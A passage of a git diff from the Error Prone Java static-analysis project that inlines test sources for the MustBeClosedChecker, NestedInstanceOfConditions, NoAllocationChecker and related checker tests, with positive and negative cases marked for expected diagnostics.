public static void twoArgs(int a, int b) {} + + public static void threeArgs(int a, int b, int c) {} + + public static int someFunction(int a) { + return 0; + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/MultipleUnaryOperatorsInMethodCallNegativeCases.java") + .addSourceLines( + "MultipleUnaryOperatorsInMethodCallNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class MultipleUnaryOperatorsInMethodCallNegativeCases { + public static void tests(int a, int b, int[] xs) { + testMethod(a, b); + testMethod(a + 1, b); + testMethod(b, a + 1); + testMethod(a++, b); + testMethod(--a, b); + testMethod(a, b--); + testMethod(a, ++b); + testMethod(xs[0]++, xs[0]++); + } + + public static void testMethod(int one, int two) {} + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java index 36d90088dc8..741941b5e15 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java @@ -35,19 +35,887 @@ public class MustBeClosedCheckerTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/MustBeClosedCheckerPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "MustBeClosedCheckerPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.MustBeClosed; +import java.util.function.Supplier; +import java.util.stream.Stream; + +@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) +class MustBeClosedCheckerPositiveCases { + + class DoesNotImplementAutoCloseable { + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. + DoesNotImplementAutoCloseable() {} + + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an + // AutoCloseable. + void doesNotReturnAutoCloseable() {} + } + + class Closeable implements AutoCloseable { + + @Override + public void close() {} + + public int method() { + return 1; + } + } + + class Foo { + + @MustBeClosed + Closeable mustBeClosedAnnotatedMethod() { + return new Closeable(); + } + + void sameClass() { + // BUG: Diagnostic contains: + mustBeClosedAnnotatedMethod(); + } + } + + class MustBeClosedAnnotatedConstructor extends Closeable { + + @MustBeClosed + MustBeClosedAnnotatedConstructor() {} + + void sameClass() { + // BUG: Diagnostic contains: + new MustBeClosedAnnotatedConstructor(); + } + } + + void positiveCase1() { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + + void positiveCase2() { + // BUG: Diagnostic contains: + Closeable closeable = new Foo().mustBeClosedAnnotatedMethod(); + } + + void positiveCase3() { + try { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } finally { + } + } + + void positiveCase4() { + try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + } + + void positiveCase5() { + // BUG: Diagnostic contains: + new MustBeClosedAnnotatedConstructor(); + } + + Closeable positiveCase6() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + + Closeable positiveCase7() { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + } + + int existingDeclarationUsesVar() { + // BUG: Diagnostic contains: + var result = new Foo().mustBeClosedAnnotatedMethod(); + return 0; + } + + boolean twoCloseablesInOneExpression() { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod() == new Foo().mustBeClosedAnnotatedMethod(); + } + + void voidLambda() { + // Lambda has a fixless finding because no reasonable fix can be suggested. + // BUG: Diagnostic contains: + Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); + } + + void expressionLambda() { + Supplier supplier = + () -> + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + + void statementLambda() { + Supplier supplier = + () -> { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + }; + } + + void methodReference() { + Supplier supplier = + // TODO(b/218377318): BUG: Diagnostic contains: + new Foo()::mustBeClosedAnnotatedMethod; + } + + void anonymousClass() { + new Foo() { + @Override + public Closeable mustBeClosedAnnotatedMethod() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + }; + } + + void subexpression() { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod().method(); + } + + void ternary(boolean condition) { + // BUG: Diagnostic contains: + int result = condition ? new Foo().mustBeClosedAnnotatedMethod().method() : 0; + } + + int variableDeclaration() { + // BUG: Diagnostic contains: + int result = new Foo().mustBeClosedAnnotatedMethod().method(); + return result; + } + + void tryWithResources_nonFinal() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + Closeable closeable = foo.mustBeClosedAnnotatedMethod(); + try { + closeable = null; + } finally { + closeable.close(); + } + } + + void tryWithResources_noClose() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + Closeable closeable = foo.mustBeClosedAnnotatedMethod(); + try { + } finally { + } + } + + class CloseableFoo implements AutoCloseable { + + @MustBeClosed + CloseableFoo() {} + + // Doesn't autoclose Foo on Stream close. + Stream stream() { + return null; + } + + @Override + public void close() {} + } + + void twrStream() { + // BUG: Diagnostic contains: + try (Stream stream = new CloseableFoo().stream()) {} + } + + void constructorsTransitivelyRequiredAnnotation() { + abstract class Parent implements AutoCloseable { + @MustBeClosed + Parent() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + Parent(int i) { + this(); + } + } + + // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed + abstract class ChildDefaultConstructor extends Parent {} + + abstract class ChildExplicitConstructor extends Parent { + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + ChildExplicitConstructor() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + ChildExplicitConstructor(int a) { + super(); + } + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/MustBeClosedCheckerNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "MustBeClosedCheckerNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static org.junit.Assert.fail; +import static org.mockito.Mockito.doReturn; +import static org.mockito.Mockito.when; + +import com.google.common.collect.ImmutableList; +import com.google.errorprone.annotations.MustBeClosed; + +@SuppressWarnings({"UnnecessaryCast", "LambdaToMemberReference"}) +public class MustBeClosedCheckerNegativeCases { + + class Closeable implements AutoCloseable { + + @Override + public void close() {} + } + + class Foo { + + void bar() {} + + @MustBeClosed + Closeable mustBeClosedAnnotatedMethod() { + return new Closeable(); + } + } + + class MustBeClosedAnnotatedConstructor extends Closeable { + + @MustBeClosed + MustBeClosedAnnotatedConstructor() {} + } + + @SuppressWarnings("MustBeClosedChecker") + void respectsSuppressWarnings_onMethod() { + new Foo().mustBeClosedAnnotatedMethod(); + } + + void respectsSuppressWarnings_onLocal() { + @SuppressWarnings("MustBeClosedChecker") + var unused = new Foo().mustBeClosedAnnotatedMethod(); + } + + void negativeCase3() { + try (Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } + + void negativeCase4() { + Foo foo = new Foo(); + try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) {} + } + + void negativeCase5() { + new Foo().bar(); + } + + void negativeCase6() { + try (MustBeClosedAnnotatedConstructor foo = new MustBeClosedAnnotatedConstructor()) {} + } + + void negativeCase7() { + try (MustBeClosedAnnotatedConstructor foo = new MustBeClosedAnnotatedConstructor(); + Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } + + @MustBeClosed + Closeable positiveCase8() { + // This is fine since the caller method is annotated. + return new MustBeClosedAnnotatedConstructor(); + } + + @MustBeClosed + Closeable positiveCase7() { + // This is fine since the caller method is annotated. + return new Foo().mustBeClosedAnnotatedMethod(); + } + + @MustBeClosed + Closeable ternary(boolean condition) { + return condition ? new Foo().mustBeClosedAnnotatedMethod() : null; + } + + @MustBeClosed + Closeable cast() { + // TODO(b/241012760): remove the following line after the bug is fixed. + // BUG: Diagnostic contains: + return (Closeable) new Foo().mustBeClosedAnnotatedMethod(); + } + + void tryWithResources() { + Foo foo = new Foo(); + Closeable closeable = foo.mustBeClosedAnnotatedMethod(); + try { + } finally { + closeable.close(); + } + } + + void mockitoWhen(Foo mockFoo) { + when(mockFoo.mustBeClosedAnnotatedMethod()).thenReturn(null); + doReturn(null).when(mockFoo).mustBeClosedAnnotatedMethod(); + } + + void testException() { + try { + ((Foo) null).mustBeClosedAnnotatedMethod(); + fail(); + } catch (NullPointerException e) { + } + } + + abstract class ParentWithNoArgument implements AutoCloseable { + @MustBeClosed + ParentWithNoArgument() {} + } + + abstract class ParentWithArgument implements AutoCloseable { + @MustBeClosed + ParentWithArgument(int i) {} + } + + abstract class ChildOfParentWithArgument extends ParentWithArgument { + @MustBeClosed + ChildOfParentWithArgument() { + super(0); + } + } + + interface ResourceFactory { + @MustBeClosed + MustBeClosedAnnotatedConstructor getResource(); + } + + void consumeCloseable(ResourceFactory factory) { + try (Closeable c = factory.getResource()) {} + } + + void expressionLambdaReturningCloseable() { + consumeCloseable(() -> new MustBeClosedAnnotatedConstructor()); + } + + void statementLambdaReturningCloseable() { + consumeCloseable( + () -> { + return new MustBeClosedAnnotatedConstructor(); + }); + } + + void methodReferenceReturningCloseable() { + consumeCloseable(MustBeClosedAnnotatedConstructor::new); + } + + void ternaryFunctionalExpressionReturningCloseable(boolean condition) { + consumeCloseable( + condition + ? () -> new MustBeClosedAnnotatedConstructor() + : MustBeClosedAnnotatedConstructor::new); + } + + void inferredFunctionalExpressionReturningCloseable(ResourceFactory factory) { + ImmutableList.of( + factory, + () -> new MustBeClosedAnnotatedConstructor(), + MustBeClosedAnnotatedConstructor::new) + .forEach(this::consumeCloseable); + } +}""") + .doTest(); } @Test public void refactoring() { refactoringHelper - .addInput("testdata/MustBeClosedCheckerPositiveCases.java") - .addOutput("testdata/MustBeClosedCheckerPositiveCases_expected.java") + .addInputLines( + "MustBeClosedCheckerPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.MustBeClosed; +import java.util.function.Supplier; +import java.util.stream.Stream; + +@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) +class MustBeClosedCheckerPositiveCases { + + class DoesNotImplementAutoCloseable { + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. + DoesNotImplementAutoCloseable() {} + + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an + // AutoCloseable. + void doesNotReturnAutoCloseable() {} + } + + class Closeable implements AutoCloseable { + + @Override + public void close() {} + + public int method() { + return 1; + } + } + + class Foo { + + @MustBeClosed + Closeable mustBeClosedAnnotatedMethod() { + return new Closeable(); + } + + void sameClass() { + // BUG: Diagnostic contains: + mustBeClosedAnnotatedMethod(); + } + } + + class MustBeClosedAnnotatedConstructor extends Closeable { + + @MustBeClosed + MustBeClosedAnnotatedConstructor() {} + + void sameClass() { + // BUG: Diagnostic contains: + new MustBeClosedAnnotatedConstructor(); + } + } + + void positiveCase1() { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + + void positiveCase2() { + // BUG: Diagnostic contains: + Closeable closeable = new Foo().mustBeClosedAnnotatedMethod(); + } + + void positiveCase3() { + try { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } finally { + } + } + + void positiveCase4() { + try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + } + + void positiveCase5() { + // BUG: Diagnostic contains: + new MustBeClosedAnnotatedConstructor(); + } + + Closeable positiveCase6() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + + Closeable positiveCase7() { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + } + + int existingDeclarationUsesVar() { + // BUG: Diagnostic contains: + var result = new Foo().mustBeClosedAnnotatedMethod(); + return 0; + } + + boolean twoCloseablesInOneExpression() { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod() == new Foo().mustBeClosedAnnotatedMethod(); + } + + void voidLambda() { + // Lambda has a fixless finding because no reasonable fix can be suggested. + // BUG: Diagnostic contains: + Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); + } + + void expressionLambda() { + Supplier supplier = + () -> + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + + void statementLambda() { + Supplier supplier = + () -> { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + }; + } + + void methodReference() { + Supplier supplier = + // TODO(b/218377318): BUG: Diagnostic contains: + new Foo()::mustBeClosedAnnotatedMethod; + } + + void anonymousClass() { + new Foo() { + @Override + public Closeable mustBeClosedAnnotatedMethod() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + }; + } + + void subexpression() { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod().method(); + } + + void ternary(boolean condition) { + // BUG: Diagnostic contains: + int result = condition ? new Foo().mustBeClosedAnnotatedMethod().method() : 0; + } + + int variableDeclaration() { + // BUG: Diagnostic contains: + int result = new Foo().mustBeClosedAnnotatedMethod().method(); + return result; + } + + void tryWithResources_nonFinal() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + Closeable closeable = foo.mustBeClosedAnnotatedMethod(); + try { + closeable = null; + } finally { + closeable.close(); + } + } + + void tryWithResources_noClose() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + Closeable closeable = foo.mustBeClosedAnnotatedMethod(); + try { + } finally { + } + } + + class CloseableFoo implements AutoCloseable { + + @MustBeClosed + CloseableFoo() {} + + // Doesn't autoclose Foo on Stream close. + Stream stream() { + return null; + } + + @Override + public void close() {} + } + + void twrStream() { + // BUG: Diagnostic contains: + try (Stream stream = new CloseableFoo().stream()) {} + } + + void constructorsTransitivelyRequiredAnnotation() { + abstract class Parent implements AutoCloseable { + @MustBeClosed + Parent() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + Parent(int i) { + this(); + } + } + + // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed + abstract class ChildDefaultConstructor extends Parent {} + + abstract class ChildExplicitConstructor extends Parent { + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + ChildExplicitConstructor() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + ChildExplicitConstructor(int a) { + super(); + } + } + } +}""") + .addOutputLines( + "MustBeClosedCheckerPositiveCases_expected.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.MustBeClosed; +import java.util.function.Supplier; +import java.util.stream.Stream; + +@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) +class MustBeClosedCheckerPositiveCases { + + class DoesNotImplementAutoCloseable { + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. + DoesNotImplementAutoCloseable() {} + + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an + // AutoCloseable. + void doesNotReturnAutoCloseable() {} + } + + class Closeable implements AutoCloseable { + + @Override + public void close() {} + + public int method() { + return 1; + } + } + + class Foo { + + @MustBeClosed + Closeable mustBeClosedAnnotatedMethod() { + return new Closeable(); + } + + void sameClass() { + // BUG: Diagnostic contains: + try (var closeable = mustBeClosedAnnotatedMethod()) {} + } + } + + class MustBeClosedAnnotatedConstructor extends Closeable { + + @MustBeClosed + MustBeClosedAnnotatedConstructor() {} + + void sameClass() { + // BUG: Diagnostic contains: + try (var mustBeClosedAnnotatedConstructor = new MustBeClosedAnnotatedConstructor()) {} + } + } + + void positiveCase1() { + // BUG: Diagnostic contains: + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } + + void positiveCase2() { + // BUG: Diagnostic contains: + try (Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } + + void positiveCase3() { + try { + // BUG: Diagnostic contains: + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } finally { + } + } + + void positiveCase4() { + try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { + // BUG: Diagnostic contains: + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } + } + + void positiveCase5() { + // BUG: Diagnostic contains: + try (var mustBeClosedAnnotatedConstructor = new MustBeClosedAnnotatedConstructor()) {} + } + + @MustBeClosed + Closeable positiveCase6() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + + @MustBeClosed + Closeable positiveCase7() { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + } + + int existingDeclarationUsesVar() { + // Bug: Diagnostic contains: + try (var result = new Foo().mustBeClosedAnnotatedMethod()) { + return 0; + } + } + + boolean twoCloseablesInOneExpression() { + // BUG: Diagnostic contains: + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { + try (var closeable2 = new Foo().mustBeClosedAnnotatedMethod()) { + return closeable == closeable2; + } + } + } + + void voidLambda() { + // Lambda has a fixless finding because no reasonable fix can be suggested. + // BUG: Diagnostic contains: + Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); + } + + void expressionLambda() { + Supplier supplier = + () -> + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + + void statementLambda() { + Supplier supplier = + () -> { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + }; + } + + void methodReference() { + Supplier supplier = + // TODO(b/218377318): BUG: Diagnostic contains: + new Foo()::mustBeClosedAnnotatedMethod; + } + + void anonymousClass() { + new Foo() { + @MustBeClosed + @Override + public Closeable mustBeClosedAnnotatedMethod() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + }; + } + + void subexpression() { + // BUG: Diagnostic contains: + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { + closeable.method(); + } + } + + void ternary(boolean condition) { + // BUG: Diagnostic contains: + int result; + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { + result = condition ? closeable.method() : 0; + } + } + + int variableDeclaration() { + // BUG: Diagnostic contains: + int result; + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { + result = closeable.method(); + } + return result; + } + + void tryWithResources_nonFinal() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) { + try { + closeable = null; + } finally { + closeable.close(); + } + } + } + + void tryWithResources_noClose() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) { + try { + } finally { + } + } + } + + class CloseableFoo implements AutoCloseable { + + @MustBeClosed + CloseableFoo() {} + + // Doesn't autoclose Foo on Stream close. + Stream stream() { + return null; + } + + @Override + public void close() {} + } + + void twrStream() { + // BUG: Diagnostic contains: + try (CloseableFoo closeableFoo = new CloseableFoo(); + Stream stream = closeableFoo.stream()) {} + } + + void constructorsTransitivelyRequiredAnnotation() { + abstract class Parent implements AutoCloseable { + @MustBeClosed + Parent() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + @MustBeClosed + Parent(int i) { + this(); + } + } + + // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed + abstract class ChildDefaultConstructor extends Parent {} + + abstract class ChildExplicitConstructor extends Parent { + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + @MustBeClosed + ChildExplicitConstructor() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + @MustBeClosed + ChildExplicitConstructor(int a) { + super(); + } + } + } +}""") .allowBreakingChanges() // The fix is best-effort, and some variable names may clash .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/NestedInstanceOfConditionsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/NestedInstanceOfConditionsTest.java index e355e3cfea9..97a39f1f498 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/NestedInstanceOfConditionsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/NestedInstanceOfConditionsTest.java @@ -36,14 +36,180 @@ public class NestedInstanceOfConditionsTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/NestedInstanceOfConditionsPositiveCases.java") + .addSourceLines( + "NestedInstanceOfConditionsPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + * @author sulku@google.com (Marsela Sulku) + */ + public class NestedInstanceOfConditionsPositiveCases { + + public static void nestedInstanceOfPost() { + Object foo = new ClassA(); + Object bar = new ClassB(); + + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassA) { + if (foo instanceof ClassB) { + System.out.println("test"); + } + } + + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassA) { + System.out.println("test"); + if (foo instanceof ClassB) { + System.out.println("test"); + } + System.out.println("test"); + } + + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassA) { + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassA) { + if (foo instanceof ClassB) { + System.out.println("test"); + } + } + } + + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassA) { + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassB) { + if (foo instanceof ClassC) { + System.out.println("test"); + } + } + } + + // BUG: Diagnostic contains: Nested instanceOf conditions + if (foo instanceof ClassA) { + if (bar instanceof ClassB) { + if (foo instanceof ClassC) { + System.out.println("test"); + } + } + } + + if (foo instanceof ClassA) { + System.out.println("yay"); + // BUG: Diagnostic contains: Nested instanceOf conditions + } else if (foo instanceof ClassB) { + if (foo instanceof ClassC) { + System.out.println("uh oh"); + } + } + } + + static class ClassA {} + + static class ClassB {} + + static class ClassC {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/NestedInstanceOfConditionsNegativeCases.java") + .addSourceLines( + "NestedInstanceOfConditionsNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.ArrayList; +import java.util.List; + +/** + * @author mariasam@google.com (Maria Sam) + * @author sulku@google.com (Marsela Sulku) + */ +public class NestedInstanceOfConditionsNegativeCases { + public static void nestedInstanceOfPositiveCases() { + Object objectA = new Object(); + Object objectB = new Object(); + + // different objects + if (objectA instanceof SuperClass) { + if (objectB instanceof DisjointClass) { + System.out.println("yay"); + } + } + + // nested if checks to see if subtype of first + if (objectA instanceof SuperClass) { + if (objectA instanceof SubClass) { + System.out.println("yay"); + } + } + + if (objectA instanceof SuperClass) { + if (objectA instanceof SubClass) { + if (objectB instanceof DisjointClass) { + System.out.println("yay"); + } + } + } + + if (objectA instanceof SuperClass) { + if (objectB instanceof DisjointClass) { + if (objectA instanceof SubClass) { + System.out.println("yay"); + } + } + } + + if (objectA instanceof SuperClass) { + System.out.println("yay"); + } else if (objectA instanceof DisjointClass) { + System.out.println("boo"); + } else if (objectA instanceof String) { + System.out.println("aww"); + } + + if (objectA instanceof SuperClass) { + objectA = "yay"; + if (objectA instanceof String) { + System.out.println(); + } + } + + if (objectA instanceof SuperClass) { + if (objectA instanceof String) { + objectA = "yay"; + } + } + + List ls = new ArrayList(); + ls.add("hi"); + + // even though this could potentially be an error, ls.get(0) can be altered in many ways in + // between the two instanceof statements, therefore we do not match this case + if (ls.get(0) instanceof String) { + if (ls.get(0) instanceof SuperClass) { + System.out.println("lol"); + } + } + } + + /** test class */ + public static class SuperClass {} + ; + + /** test class */ + public static class SubClass extends SuperClass {} + ; + + /** test class */ + public static class DisjointClass {} + ; +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/NoAllocationCheckerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/NoAllocationCheckerTest.java index 40b95bdf61f..5fc2c51cc60 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/NoAllocationCheckerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/NoAllocationCheckerTest.java @@ -32,11 +32,1056 @@ public class NoAllocationCheckerTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/NoAllocationCheckerPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "NoAllocationCheckerPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.errorprone.annotations.NoAllocation; + + /** + * @author agoode@google.com (Adam Goode) + */ + public class NoAllocationCheckerPositiveCases { + // Trigger on new array. + @NoAllocation + public int[] newArray(int size) { + // BUG: Diagnostic contains: @NoAllocation + // Allocating a new array + return new int[size]; + } + + @NoAllocation + public int[] arrayInitializer(int a, int b) { + // BUG: Diagnostic contains: @NoAllocation + // Allocating a new array + int[] array = {a, b}; + return array; + } + + @NoAllocation + public int[] returnArrayInitializer(int a, int b) { + // BUG: Diagnostic contains: @NoAllocation + // Allocating a new array + return new int[] {a, b}; + } + + // Trigger on new. + @NoAllocation + public String newString(String s) { + // BUG: Diagnostic contains: @NoAllocation + // Constructing + return new String(s); + } + + // Trigger calling a method that does allocation. + public String allocateString() { + return new String(); + } + + @NoAllocation + public String getString() { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + return allocateString(); + } + + // Trigger on string conversion. + @NoAllocation + public int getInt() { + return 1; + } + + @NoAllocation + public String stringConvReturn(int i) { + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + return "" + i; + } + + @NoAllocation + public String stringConvAssign(int i) { + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + String s = "" + i; + return s; + } + + @NoAllocation + public String stringConvAssign2(int i) { + String s = ""; + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + s = s + i; + return s; + } + + @NoAllocation + public String stringConvAssign3(int i) { + String s = ""; + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + s = i + s; + return s; + } + + @NoAllocation + public String stringConvReturnMethod() { + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + String s = "" + getInt(); + return s; + } + + @NoAllocation + public String stringConvCompoundAssign(int i) { + String s = ""; + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + s += i; + return s; + } + + @NoAllocation + public String stringConvCompoundReturnMethod() { + String s = ""; + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + s += getInt(); + return s; + } + + // Trigger on string concatenation. + @NoAllocation + public String doubleString(String s) { + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + return s + s; + } + + @NoAllocation + public String doubleStringCompound(String s) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + s += s; + return s; + } + + // Trigger on foreach with non-array. + @NoAllocation + public int iteration(Iterable a) { + int result = 0; + // BUG: Diagnostic contains: @NoAllocation + // Iterating + for (Object o : a) { + result++; + } + return result; + } + + // Trigger on autoboxing. + @NoAllocation + public Integer assignBox(int i) { + Integer in; + // BUG: Diagnostic contains: @NoAllocation + // Assigning a primitive value + in = i; + return in; + } + + @NoAllocation + public Integer initializeBox(int i) { + // BUG: Diagnostic contains: @NoAllocation + // Initializing a non-primitive + Integer in = i; + return in; + } + + @NoAllocation + public Integer initializeBoxLiteral() { + // BUG: Diagnostic contains: @NoAllocation + // Initializing a non-primitive + Integer in = 0; + return in; + } + + @NoAllocation + public int castBox(int i) { + // BUG: Diagnostic contains: @NoAllocation + // Casting a primitive + int in = (Integer) i; + return in; + } + + @NoAllocation + public Integer returnBox(int i) { + // BUG: Diagnostic contains: @NoAllocation + // Returning a primitive + return i; + } + + @NoAllocation + public int unBox(Integer i) { + return i; + } + + @NoAllocation + public void callBox(int i) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + unBox(i); + } + + @NoAllocation + public int unBox2(int i1, Integer i2) { + return i2; + } + + @NoAllocation + public void callBox2(int i1, int i2) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + unBox2(i1, i2); + } + + @NoAllocation + public int unBox3(Integer i1, int i2) { + return i1; + } + + @NoAllocation + public void callBox3(int i1, int i2) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + unBox3(i1, i2); + } + + @NoAllocation + public int varArgsMethod(int a, int... b) { + return a + b[0]; + } + + @NoAllocation + public void callVarArgs0() { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + varArgsMethod(0); + } + + @NoAllocation + public void callVarArgs() { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + varArgsMethod(1, 2); + } + + @NoAllocation + public void callVarArgs2() { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + varArgsMethod(1, 2, 3); + } + + @NoAllocation + public Object varArgsMethodObject(Object a, Object... b) { + return b[0]; + } + + @NoAllocation + public void callVarArgsObject(Object a, Object[] b) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + varArgsMethodObject(a, b[0]); + } + + @NoAllocation + public void callVarArgsObjectWithPrimitiveArray(Object a, int[] b) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + varArgsMethodObject(a, b); + } + + @NoAllocation + public int forBox(int[] a) { + int count = 0; + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + for (Integer i = 0; i < a.length; i++) { + count++; + } + return count; + } + + @NoAllocation + public void arrayBox(Integer[] a, int i) { + // BUG: Diagnostic contains: @NoAllocation + // Assigning a primitive value + a[0] = i; + } + + @NoAllocation + public int preIncrementBox(Integer i) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + 